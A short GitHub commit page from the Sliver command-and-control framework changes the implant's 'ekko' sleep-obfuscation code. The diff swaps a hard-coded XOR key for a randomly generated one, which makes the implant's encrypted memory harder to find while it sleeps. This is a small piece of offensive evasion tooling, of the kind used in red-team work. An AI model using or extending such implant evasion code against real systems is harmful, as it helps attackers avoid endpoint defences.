randomise ekko XOR key

BishopFox · Nov 20, 2024 · e8809d9 · e8809d9
1 parent 50cd340
commit e8809d9
Showing 1 changed file with 3 additions and 1 deletion.
diff --git a/implant/sliver/ekko/ekko.go b/implant/sliver/ekko/ekko.go
@@ -1,6 +1,7 @@
 package ekko
 
 import (
+	"crypto/rand"
 	"log"
 	"syscall"
 	"unsafe"
@@ -144,7 +145,8 @@ func ekko(sleepTime uint64) error {
 	var RopProtRX CONTEXT
 	var RopSetEvt CONTEXT
 
-	keybuf := [16]uint8{0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55}
+	var keybuf [16]byte
+        rand.Read(keybuf[:])
 
 	var Key, Img UString